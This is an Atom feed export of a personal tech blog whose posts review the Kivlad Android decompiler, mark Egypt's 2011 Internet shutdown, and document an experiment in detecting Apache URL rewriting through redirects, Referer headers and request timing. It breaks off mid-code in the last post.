<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-12824632</id><updated>2011-11-04T09:42:37.883-04:00</updated><title type='text'>cruft</title><subtitle type='html'>flotsam and jetsam from the stream of consciousness</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://cruft.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/12824632/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://cruft.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>Jason</name><uri>http://www.blogger.com/profile/17183000294901234717</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='19' height='32' src='http://1.bp.blogspot.com/_YWhkVQJDZyw/S3L3sMv0fRI/AAAAAAAAAmQ/pfD62P_6CRU/S220/mr_grumpy.png'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>45</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-12824632.post-2219725752961372786</id><published>2011-07-06T15:33:00.003-04:00</published><updated>2011-07-06T16:17:31.054-04:00</updated><title type='text'>Kivlad - Initial Thoughts</title><content type='html'>Recently, the folks over at &lt;a href="http://www.matasano.com/"&gt;Matasano Security&lt;/a&gt; released a tool to decompile Android Dalvik binaries. The tool is named &lt;strong&gt;Kivlad&lt;/strong&gt; and it can be found &lt;a href="http://www.matasano.com/research/kivlad/"&gt;on their site&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Having a need to dissassemble Android binaries on a fairly frequent basis, I'm always looking for a new tool to help out, so I took this one for a spin.&lt;br /&gt;&lt;br /&gt;The first thing to point out is the disclaimer on the Matasano site, which reads:&lt;br /&gt;&lt;blockquote&gt;This is very much an alpha release and while it will be production-quality in the near future, we wanted to give the community a taste of what's to come.&lt;/blockquote&gt;&lt;br /&gt;Experimenting with Kivlad shows that disclaimer to be very warranted. Kivlad is a cool concept, and is somewhat unique in the field because the output format is HTML. At the core, Kivlad offers a tree view of the Android elements contained within the Dex. I like this idea, and it will be very cool to see it get developed further. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-PY20oH7-KVg/ThSzcknA9hI/AAAAAAAAAvU/r79gBHGw1h8/s1600/kivlad_classtree.png" imageanchor="1" style="margin-left:1em; margin-right:1em"&gt;&lt;img border="0" height="261" width="320" src="http://1.bp.blogspot.com/-PY20oH7-KVg/ThSzcknA9hI/AAAAAAAAAvU/r79gBHGw1h8/s320/kivlad_classtree.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;That said, the tool is pretty near non-functional (for me at least) - I'm unable to get it to parse any APK other than the included HelloWorld.apk that comes with the download. &lt;br /&gt;&lt;br /&gt;Further, because the background of the HTML output is an image loaded via CSS, if the output file is not in the source code directory, it is completely unreadable (because the font color is set to white, and the default browser background is also white.) This is easily fixed, either open the file in the source code directory, or change the CSS to use whatever color scheme you wish.&lt;br /&gt;&lt;br /&gt;I should note that I find both of these shortcoming to be perfectly acceptable, (Matasano did say the tool was pre-alpha afterall), and as I said, I like the concept and where this seems headed quite a lot. &lt;br /&gt;&lt;br /&gt;The process to getting Kivlad working is pretty straightforward IMO, but I've included my notes here in case someone finds them useful. (These are for the Ubuntu Linux distribution, tested on versions 10.10 and 11.04)&lt;br /&gt;&lt;br /&gt;&lt;ol&gt;&lt;li&gt;Install the required software and libraries:&lt;br /&gt;&lt;pre&gt;sudo apt-get install ruby1.9.1 libzip-ruby1.9.1 graphviz&lt;br /&gt;sudo ln -s /usr/bin/ruby1.9.1 /usr/bin/ruby&lt;br /&gt;sudo ln -s /usr/bin/gem1.9.1 usr/bin/gem&lt;br /&gt;sudo gem install metasm&lt;br /&gt;&lt;/pre&gt;&lt;/li&gt;&lt;li&gt;Download Kivlad and extract it:&lt;br /&gt;&lt;pre&gt;wget http://www.matasano.com/research/kivlad/kivlad-0.1.tar.gz&lt;br /&gt;tar zxf kivlad-0.1.tar.gz&lt;br /&gt;cd kivlad-0.1&lt;br /&gt;&lt;/pre&gt;&lt;/li&gt;&lt;li&gt;Run the tool:&lt;br /&gt;&lt;pre&gt;ruby ./reflect.rb HelloWorld.apk HelloWorld.html&lt;br /&gt;&lt;/pre&gt;&lt;/li&gt;&lt;/ol&gt;&lt;br /&gt;This will spit out a bunch of stuff, and you'll end up with a HelloWorld.html file in the directory:&lt;br /&gt;&lt;pre&gt;Lcom/daeken/helloworld/HelloWorld;/&lt;init&gt;&lt;br /&gt;Succeed&lt;br /&gt;&lt;br /&gt;Lcom/daeken/helloworld/HelloWorld;/bar&lt;br /&gt;Succeed&lt;br /&gt;&lt;br /&gt;...&lt;br /&gt;&lt;br /&gt;Lcom/daeken/helloworld/R$string;/&lt;init&gt;&lt;br /&gt;Succeed&lt;br /&gt;&lt;br /&gt;Lcom/daeken/helloworld/R;/&lt;init&gt;&lt;br /&gt;Succeed&lt;br /&gt;[]&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;As I mentioned, the only APK I've been able to successfully use Kivlad on is the HelloWorld.apk. Every other APK I've tried has resulted in the following error (example below using OI_Safe_1.2.4 from &lt;a href="http://www.freewarelovers.com/android/app/oi-safe"&gt;freewarelovers.com&lt;/a&gt;):&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;ruby ./reflect.rb OI_Safe_1.2.4.apk OI_Safe_1.2.4.html&lt;br /&gt;&lt;br /&gt;Lestreamj/ciphers/trivium/Trivium$Maker;/&lt;init&gt;&lt;br /&gt;Succeed&lt;br /&gt;&lt;br /&gt;Lestreamj/ciphers/trivium/Trivium$Maker;/create&lt;br /&gt;/home/rossja/Desktop/kivlad-0.1/instruction_form.rb:11:in `inspect': wrong number of arguments(1 for 0) (ArgumentError)&lt;br /&gt; from /home/rossja/Desktop/kivlad-0.1/instruction_form.rb:11:in `convert_insn'&lt;br /&gt; from /home/rossja/Desktop/kivlad-0.1/decompiler.rb:61:in `disassemble_all'&lt;br /&gt; from /home/rossja/Desktop/kivlad-0.1/decompiler.rb:85:in `disassemble_blocks'&lt;br /&gt; from /home/rossja/Desktop/kivlad-0.1/decompiler.rb:713:in `decompile'&lt;br /&gt; from /home/rossja/Desktop/kivlad-0.1/decompiler.rb:774:in `decompile'&lt;br /&gt; from /home/rossja/Desktop/kivlad-0.1/dex.rb:70:in `method'&lt;br /&gt; from /home/rossja/Desktop/kivlad-0.1/dex.rb:46:in `block (2 levels) in initialize'&lt;br /&gt; from /home/rossja/Desktop/kivlad-0.1/dex.rb:45:in `map'&lt;br /&gt; from /home/rossja/Desktop/kivlad-0.1/dex.rb:45:in `block in initialize'&lt;br /&gt; from /home/rossja/Desktop/kivlad-0.1/dex.rb:30:in `map'&lt;br /&gt; from /home/rossja/Desktop/kivlad-0.1/dex.rb:30:in `initialize'&lt;br /&gt; from ./reflect.rb:9:in `new'&lt;br /&gt; from ./reflect.rb:9:in `initialize'&lt;br /&gt; from ./reflect.rb:21:in `new'&lt;br /&gt; from ./reflect.rb:21:in `&lt;main&gt;'&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;At some point I'll try to chase down where the issue is and see if I can figure out whom to send a patch to =)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/12824632-2219725752961372786?l=cruft.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cruft.blogspot.com/feeds/2219725752961372786/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cruft.blogspot.com/2011/07/kivlad-initial-thoughts.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/12824632/posts/default/2219725752961372786'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/12824632/posts/default/2219725752961372786'/><link rel='alternate' type='text/html' href='http://cruft.blogspot.com/2011/07/kivlad-initial-thoughts.html' title='Kivlad - Initial Thoughts'/><author><name>Jason</name><uri>http://www.blogger.com/profile/17183000294901234717</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='19' height='32' src='http://1.bp.blogspot.com/_YWhkVQJDZyw/S3L3sMv0fRI/AAAAAAAAAmQ/pfD62P_6CRU/S220/mr_grumpy.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/-PY20oH7-KVg/ThSzcknA9hI/AAAAAAAAAvU/r79gBHGw1h8/s72-c/kivlad_classtree.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-12824632.post-8226760303915111166</id><published>2011-02-02T20:51:00.002-05:00</published><updated>2011-02-03T00:47:11.594-05:00</updated><title type='text'>welcome back to the net, Egypt</title><content type='html'>On January 27, 2011, the country of Egypt disabled the Internet for anyone within its borders. It did this in a couple of ways, both via the network (at the BGP level), as well as the name resolution (DNS) level. This means the take down not only impacted Egyptian nationals, but citizens of other countries that happened to be in Egypt during this time period, as well as anyone that was using a .eg ccTLD domain.&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_YWhkVQJDZyw/TUpAtlzwrxI/AAAAAAAAAsE/Op76whxga0M/s1600/bp32.jpg" imageanchor="1" style="margin-left:1em; margin-right:1em"&gt;&lt;img border="0" height="133" width="200" src="http://3.bp.blogspot.com/_YWhkVQJDZyw/TUpAtlzwrxI/AAAAAAAAAsE/Op76whxga0M/s200/bp32.jpg" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.boston.com/bigpicture/2011/02/a_harrowing_historic_week_in_e.html"&gt;original source&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;I don't have a lot of time to form a well crafted post on the topic of Internet blockade at a national level - it suffices to say that I'm opposed.&lt;br /&gt;&lt;br /&gt;Here are a couple of very interesting graphs, taken from &lt;a href="http://stat.ripe.net/egypt"&gt;http://stat.ripe.net/egypt&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Start of the BGP withdrawal:&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_YWhkVQJDZyw/TUoIeLCn0XI/AAAAAAAAArk/cd1LzZif3SY/s1600/egypt-2011_1_27.png" imageanchor="1" style="margin-left:1em; margin-right:1em"&gt;&lt;img border="0" height="110" width="320" src="http://4.bp.blogspot.com/_YWhkVQJDZyw/TUoIeLCn0XI/AAAAAAAAArk/cd1LzZif3SY/s320/egypt-2011_1_27.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Re-announcement of Egyption BGP routes:&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_YWhkVQJDZyw/TUoIoEyk77I/AAAAAAAAArs/P7rOoGQZjJ8/s1600/egypt_2011_02_02.png" imageanchor="1" style="margin-left:1em; margin-right:1em"&gt;&lt;img border="0" height="113" width="320" src="http://1.bp.blogspot.com/_YWhkVQJDZyw/TUoIoEyk77I/AAAAAAAAArs/P7rOoGQZjJ8/s320/egypt_2011_02_02.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;I'm glad that Egypt has decided to allow all those impacted by this outage access to the Internet once more. Welcome back .eg.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/12824632-8226760303915111166?l=cruft.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cruft.blogspot.com/feeds/8226760303915111166/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cruft.blogspot.com/2011/02/welcome-back-to-net-egypt.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/12824632/posts/default/8226760303915111166'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/12824632/posts/default/8226760303915111166'/><link rel='alternate' type='text/html' href='http://cruft.blogspot.com/2011/02/welcome-back-to-net-egypt.html' title='welcome back to the net, Egypt'/><author><name>Jason</name><uri>http://www.blogger.com/profile/17183000294901234717</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='19' height='32' src='http://1.bp.blogspot.com/_YWhkVQJDZyw/S3L3sMv0fRI/AAAAAAAAAmQ/pfD62P_6CRU/S220/mr_grumpy.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_YWhkVQJDZyw/TUpAtlzwrxI/AAAAAAAAAsE/Op76whxga0M/s72-c/bp32.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-12824632.post-7321111664027096827</id><published>2010-10-08T02:02:00.009-04:00</published><updated>2010-10-08T11:51:56.751-04:00</updated><title type='text'>Detecting URL Rewriting (part 2)</title><content type='html'>&lt;em style="font-size: small;"&gt;This post is a continuation of &lt;a href="http://cruft.blogspot.com/2010/10/detecting-url-rewriting-part-1.html"&gt;my documenting&lt;/a&gt; the process I go through to come up with some way a client of a web site can first: determine if URL rewriting is occurring on a given web server, and second: in cases where it is used, determine what the rewrite rules are.&lt;/em&gt;&lt;br /&gt;&lt;br /&gt;I &lt;a href="http://cruft.blogspot.com/2010/10/detecting-url-rewriting-part-1.html"&gt;left off&lt;/a&gt; with Apache configured, and a simple rule established for mod_rewrite. I now need to decide whether to use mod_rewrite to handle the rewrite using a redirect (via an HTTP 302 response), or to process it internally. As I mentioned, the difference between these two methods is quite large.&lt;br /&gt;&lt;br /&gt;For example, if I choose to send a redirect, (eg. by amending our rule to include an [R] flag), like so ...&lt;br /&gt;&lt;pre&gt;RewriteRule    /litterbox/(.*)  /sandbox/$1 [R]&lt;/pre&gt;... the rewrite rule will cause an incoming request to http://bar.com/litterbox/bar1.php to be redirected to the location http://bar.com/sandbox/bar1.php instead by using HTTP server headers. &lt;br /&gt;&lt;br /&gt;Examining the relevant portion of the HTTP request and response headers associated with this process, the conversation looks like this:&lt;br /&gt;&lt;br /&gt;Initial request:&lt;br /&gt;&lt;pre&gt;GET /litterbox/bar1.php HTTP/1.1&lt;br /&gt;Host: bar.com&lt;/pre&gt;&lt;br /&gt;Initial response:&lt;br /&gt;&lt;pre&gt;HTTP/1.1 302 Found&lt;br /&gt;Date: Wed, 06 Oct 2010 04:50:18 GMT&lt;br /&gt;Server: Apache/2.2.9 (Debian) PHP/5.2.6-1+lenny9 with Suhosin-Patch&lt;br /&gt;Location: http://bar.com/sandbox/bar1.php&lt;/pre&gt;&lt;br /&gt;In the response above, notice that the server has returned an HTTP 302 status response, and included a &lt;em&gt;Location:&lt;/em&gt; header which contains the URL to the content. The browser receives this, and sends a new request to that location:&lt;br /&gt;&lt;br /&gt;Redirected request:&lt;br /&gt;&lt;pre&gt;GET /sandbox/bar1.php HTTP/1.1&lt;br /&gt;Host: bar.com&lt;/pre&gt;&lt;br /&gt;This request is met with the final response, which includes the content at /sandbox/bar1.php:&lt;br /&gt;&lt;pre&gt;HTTP/1.1 200 OK&lt;br /&gt;Date: Wed, 06 Oct 2010 04:50:29 GMT&lt;/pre&gt;&lt;br /&gt;This is how I've used mod_rewrite in the past. The rules I've set to enforce SSL have been very similar to the one given in the example. At first glance, it seems that it will be easy to tell when rewriting is occurring... all that's required is to look for the 302 response! &lt;br /&gt;&lt;br /&gt;&lt;h3&gt;Not so fast&lt;/h3&gt;There are a couple problems with this theory. The first is: there are other mechanisms which can be used to provide this same HTTP response code. For example, the following PHP code will cause an HTTP 302 response to be sent by the server:&lt;br /&gt;&lt;pre&gt;&amp;lt;?php&lt;br /&gt;header(&amp;quot;Location: http://bar.com/sandbox/bar1.php&amp;quot;);&lt;br /&gt;?&amp;gt;&lt;/pre&gt;&lt;br /&gt;When I put that code into a file located at http://bar.com/redir.php, the response to a GET request for that file looks pretty much exactly like the one generated natively by Apache above:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;HTTP/1.1 302 Found&lt;br /&gt;Date: Wed, 06 Oct 2010 05:38:09 GMT&lt;br /&gt;Server: Apache/2.2.9 (Debian) PHP/5.2.6-1+lenny9 with Suhosin-Patch&lt;br /&gt;X-Powered-By: PHP/5.2.6-1+lenny9&lt;br /&gt;Location: http://bar.com/sandbox/bar1.php&lt;/pre&gt;&lt;br /&gt;From this, it would seem that there is no way to distinguish between a redirect coming from mod_rewrite, and one stemming from some other mechanism.&lt;br /&gt;&lt;br /&gt;More importantly though, and a bigger blow to my high hopes for an easy answer, is that the &lt;em&gt;[R]&lt;/em&gt; flag is optional. By default, a redirect header isn't returned by Apache at all when mod_rewrite is used. Looking up how Apache handles rewriting, there's a fair amount of documentation on the process specific to the 2.2 version of Apache I'm using:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="http://httpd.apache.org/docs/2.2/mod/mod_rewrite.html"&gt;mod_rewrite documentation&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://httpd.apache.org/docs/2.2/rewrite/rewrite_tech.html"&gt;mod_rewrite technical details&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;The nutshell version is this: Requests which are rewritten and not using a 302 response to the client are processed completely within the &lt;em&gt;Apache Kernel only&lt;/em&gt;. There's no indication given to the client that a redirect has occurred. &lt;br /&gt;&lt;br /&gt;In fact, it appears that the only way an application hosted &lt;em&gt;on the server&lt;/em&gt; can know that it has been reached via a rewritten request is by checking for the presence of one or both of two server headers which only appear when Apache has processed a rewrite ... they do not appear on a redirect, despite their name =)&lt;br /&gt;&lt;br /&gt;(Recall that I can see these because the PHP script I wrote includes a printout of every server header. It seems that doing this was a good idea indeed!):&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;REDIRECT_STATUS = 200&lt;br /&gt;REDIRECT_URL = /litterbox/bar1.php&lt;/pre&gt;&lt;br /&gt;Note that these headers are different than the ones the Apache documentation says it adds. I'm not sure why that is, but since these headers are only available as server variables, they are completely outside the reach of a client accessing a given URL on the host.&lt;br /&gt;&lt;br /&gt;&lt;h3&gt;That sucks.&lt;/h3&gt;At this point, I give up on the 302 response and Location: header theory: it's both misleading (in that a 302 response may not be the result of a URL rewrite), and inconsistent in that rewritten URLs may not provide a 302 response at all. &lt;br /&gt;&lt;br /&gt;I start thinking of other mechanisms I could use. One that comes immediately to mind is the Referer header. This is an HTTP header which is provided to a web server when, for example, a user clicks a link. The destination host the link resolves to receives the request for a URL, along with where the user came from. An example of this can be seen here:&lt;br /&gt;&lt;br /&gt;Initial Request:&lt;br /&gt;&lt;pre&gt;GET /litterbox/bar1.php HTTP/1.1&lt;br /&gt;Host: bar.com&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;Initial Response:&lt;br /&gt;&lt;pre&gt;HTTP/1.1 200 OK&lt;br /&gt;Date: Fri, 08 Oct 2010 05:51:54 GMT&lt;br /&gt;[content]&lt;br /&gt;  &amp;lt;div&amp;gt;&amp;lt;a href=&amp;quot;bar2.php&amp;quot;&amp;gt;bar2&amp;lt;/div&amp;gt;&lt;br /&gt;[more-content]&lt;/pre&gt;&lt;br /&gt;The content served in the response contains a link to bar2.php. When I click that link, the fact that I'm coming from the bar1.php page is sent in the request, as shown below:&lt;br /&gt;Request to bar2.php:&lt;br /&gt;&lt;pre&gt;GET /sandbox/bar2.php HTTP/1.1&lt;br /&gt;Host: bar.com&lt;br /&gt;Referer: http://bar.com/litterbox/bar1.php&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;That's all well and good, but as you can see, the Referer still shows /litterbox as the URL I was coming from. That's because the referer is specified by the user agent (a browser in this case). Since the browser didn't receive any indication that the content it is being served has come from a different location than it requested, it thinks it's still at /litterbox and so sends that location in the headers.&lt;br /&gt;&lt;br /&gt;So much for using that as a detection of rewriting. What's next...&lt;br /&gt;So far, I've tried a couple of different ideas to try to determine if a client can tell whether URL rewriting is in use or not. I've ruled out using a 302 response and accompanying Location: header as being unfit for this purpose. I've also briefly played with the idea of using Referer, and quickly ruled that out as an option as well. I need to come up with some more creative way to try to tell.&lt;br /&gt;&lt;br /&gt;&lt;h3&gt;How about timing?&lt;/h3&gt;Thinking about this problem a bit, it occurs to me that, since the Apache kernel has to map rewritten URLs internally to come up with a computed URL to serve content from, that I may be able to use how long a request takes to load as an indicator. &lt;br /&gt;&lt;br /&gt;To test this theory out, I'm going to use ruby, because I'm familiar with it, and it allows me to quickly throw together some proof-of-concept code.&lt;br /&gt;&lt;br /&gt;Since I have the advantage in this case of knowing for sure what is being rewritten and what is not, I can use the benchmark module in ruby to measure the time it takes to get a file where rewriting is occurring, and where it is not. I can then compare the two to see if this theory bears further investigation.&lt;br /&gt;&lt;br /&gt;For the intital test, I decide to use the &lt;em&gt;bmbm&lt;/em&gt; method of the benchmark module for two reasons: 1) it  automatically gives me two iterations to compare. But more importantly it 2) initializes the environment and tries to minimize skewed results by going through a rehearsal process before benchmarking "for reals". Once I decided that, I came up with the following script:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;#!/usr/bin/env ruby&lt;br /&gt;require 'net/http'&lt;br /&gt;require 'uri'&lt;br /&gt;require 'benchmark'&lt;br /&gt;include Benchmark&lt;br /&gt;&lt;br /&gt;bmbm do &amp;#124;test&amp;#124;&lt;br /&gt;  test.report(&amp;quot;rewrite:&amp;quot;) do&lt;br /&gt;    Net::HTTP.get_response URI.parse('http://bar.com/litterbox/bar1.php')&lt;br /&gt;  end&lt;br /&gt;  test.report(&amp;quot;non-rewrite:&amp;quot;) do&lt;br /&gt;    Net::HTTP.get_response URI.parse('http://bar.com/sandbox/bar1.php')&lt;br /&gt;  end&lt;br /&gt;end&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;I've created two labels in this benchmark: one for the known rewritten URL, and one for the known non-rewritten URL. When I run this script, I get the following results:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;Rehearsal ------------------------------------------------&lt;br /&gt;rewrite:       0.010000   0.000000   0.010000 (  0.001429)&lt;br /&gt;non-rewrite:   0.000000   0.000000   0.000000 (  0.000876)&lt;br /&gt;--------------------------------------- total: 0.010000sec&lt;br /&gt;&lt;br /&gt;                   user     system      total        real&lt;br /&gt;rewrite:       0.000000   0.000000   0.000000 (  0.001105)&lt;br /&gt;non-rewrite:   0.000000   0.000000   0.000000 (  0.000907)&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;That's pretty interesting! When I run this on the same host the web server is located at, I can definitely tell a difference between rewritten and non-rewritten content!&lt;br /&gt;&lt;br /&gt;I need to look into this further. The first thing that needs to happen is, I need to perform these requests many more times and look at the timing. A single request is useful for a quick "is there merit to this", but the fact that it appears this may work could just be a fluke in the given requests at that particular time. I need to increase the number of times I perform this test and prove whether, statistically, there is a difference in the time it takes to serve a rewritten URL vs a non-rewritten one.&lt;br /&gt;&lt;br /&gt;I also need to look at what factors may affect the results. Some immediate considerations that come to mind are:&lt;br /&gt;&lt;ol&gt;&lt;li&gt;is the Apache server cacheing content, causing it to be served faster the second time?&lt;/li&gt;&lt;li&gt;Am I able to prevent that if so?&lt;/li&gt;&lt;li&gt;On a local machine, this may work, but what happens across a LAN?&lt;/li&gt;&lt;li&gt;What happens to the timing when requests go across the Internet?&lt;/li&gt;&lt;li&gt;How much does "heavy" content (video, images, etc.) affect the timing?&lt;/li&gt;&lt;li&gt;Can I time just getting the HTTP headers, to avoid loading content?&lt;/li&gt;&lt;/ol&gt;&lt;br /&gt;I need to answer some of these before testing, and some of these will be answered as the testing progresses.&lt;br /&gt;&lt;br /&gt;[to be continued]&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/12824632-7321111664027096827?l=cruft.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cruft.blogspot.com/feeds/7321111664027096827/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cruft.blogspot.com/2010/10/detecting-url-rewriting-part-2.html#comment-form' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/12824632/posts/default/7321111664027096827'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/12824632/posts/default/7321111664027096827'/><link rel='alternate' type='text/html' href='http://cruft.blogspot.com/2010/10/detecting-url-rewriting-part-2.html' title='Detecting URL Rewriting (part 2)'/><author><name>Jason</name><uri>http://www.blogger.com/profile/17183000294901234717</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='19' height='32' src='http://1.bp.blogspot.com/_YWhkVQJDZyw/S3L3sMv0fRI/AAAAAAAAAmQ/pfD62P_6CRU/S220/mr_grumpy.png'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-12824632.post-9017706826973673988</id><published>2010-10-01T03:25:00.017-04:00</published><updated>2010-10-08T02:02:36.225-04:00</updated><title type='text'>Detecting URL Rewriting (part 1)</title><content type='html'>&lt;em style="font-size:x-small;"&gt;[edit 2010-10-02]: i realized after replying to cdman's comment that i had neglected to include the goals of this project in this post, but had included them in &lt;a href="http://cruft.blogspot.com/2010/10/on-security-research.html"&gt;this one&lt;/a&gt; instead. I've edited the beginning here to include the first part of that post.&lt;/em&gt;&lt;br /&gt;&lt;br /&gt;As I mentioned &lt;a href="http://cruft.blogspot.com/2010/10/on-security-research.html"&gt;earlier&lt;/a&gt;: I’ve been pondering URL rewriting for the past couple of days - trying to come up with some way a client of a web site can first: determine if URL rewriting is occurring on a given web server, and second: in cases where it is used, determine what the rewrite rules are.&lt;br /&gt;&lt;br /&gt;I started this process by doing some homework to learn more about how URL rewriting occurs. I’ve used Apache’s mod_rewrite in the past to accomplish some basic tasks like redirecting incoming http:// requests to their https:// counterpart to enforce SSL usage, but I had never done much beyond that.&lt;br /&gt;&lt;br /&gt;I decided (as I often do) that the best way to learn was to play. To determine whether URL rewriting is in use, and to try to map the rules, means that I need to have a portion of a web site that is using URL rewriting, and one that is not (so I can compare the two). I further need to have some rewrite rules. Coming up with a random set of rules is difficult, so I gave myself what was, in my mind, a likely scenario:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;The Bar, Inc. marketing dept. has realized that their ‘litterbox’ product line has a name which creates a negative impression. It’s decided that ‘sandbox’ is a much better brand for the products. Of course, with the rebranding, the web site has to be updated, it simply won’t do to have links going to bar.com/litterbox/ now that the name has changed.&lt;br /&gt;&lt;br /&gt;Begrudgingly, the developers of the Bar, Inc. website put in a ton of overtime to change all the links in the code. Then someone realizes that all the Bar, Inc. customers and business partners also have links that are going to break. The developers can’t do anything about that, it’s outside their control. It now falls to the sysadmin to make sure that no critical third party links get broken.&lt;br /&gt;&lt;br /&gt;As the sysadmin, my task is simple: take any requests for /litterbox/whatever and have them go to /sandbox/whatever instead.&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;Excellent! I now have an interesting story to keep me from getting bored. (OK, fine… interesting is subjective ;-)&lt;br /&gt;&lt;br /&gt;More importantly, the fictitious set of requirements dictated in the scenario means that I have a framework established for how to approach setting up this research project.&lt;br /&gt;&lt;br /&gt;That means it’s time to get to work.&lt;br /&gt;&lt;br /&gt;&lt;h2&gt;Preparing The Environment&lt;/h2&gt;&lt;br /&gt;To get this set up in a way that meets the criteria of the scenario, I first need to have a website. I have a Linux box handy, so I decide to do my testing using Apache. The specific version and OS I’m using is Apache 2.2.9 on Debian Linux, with the Suhosin Patch. In other words, I’m using the default apache2 (mpm-prefork) package on Debian 'lenny'.&lt;br /&gt;&lt;br /&gt;I create a directory named sandbox in the Apache web root (which is &lt;em&gt;/var/www&lt;/em&gt; on Debian). I then create 4 files in that directory: bar1.php, bar2.php, bar3.php, and bar4.php. Next I edit each of these files to contain some generic code similar to the following, (changing the title and h1 tags to correspond to the file name):&lt;br /&gt;&lt;pre&gt;&amp;lt;head&amp;gt;&lt;br /&gt;&amp;lt;title&amp;gt;bar1&amp;lt;/title&amp;gt;&lt;br /&gt;&amp;lt;/head&amp;gt;&lt;br /&gt;&amp;lt;body&amp;gt;&lt;br /&gt;&amp;lt;h1&amp;gt;bar1&amp;lt;/h1&amp;gt;&lt;br /&gt;&amp;lt;div&amp;gt;&amp;lt;a href=&amp;quot;bar1.php&amp;quot;&amp;gt;bar1&amp;lt;/div&amp;gt;&lt;br /&gt;&amp;lt;div&amp;gt;&amp;lt;a href=&amp;quot;bar2.php&amp;quot;&amp;gt;bar2&amp;lt;/div&amp;gt;&lt;br /&gt;&amp;lt;div&amp;gt;&amp;lt;a href=&amp;quot;bar3.php&amp;quot;&amp;gt;bar3&amp;lt;/div&amp;gt;&lt;br /&gt;&amp;lt;div&amp;gt;&amp;lt;a href=&amp;quot;bar4.php&amp;quot;&amp;gt;bar4&amp;lt;/div&amp;gt;&lt;br /&gt;&amp;lt;hr /&amp;gt;&lt;br /&gt;&amp;lt;?php&lt;br /&gt;foreach($_SERVER as $key_name =&amp;gt; $key_value) {&lt;br /&gt;print $key_name . &amp;quot; = &amp;quot; . $key_value . 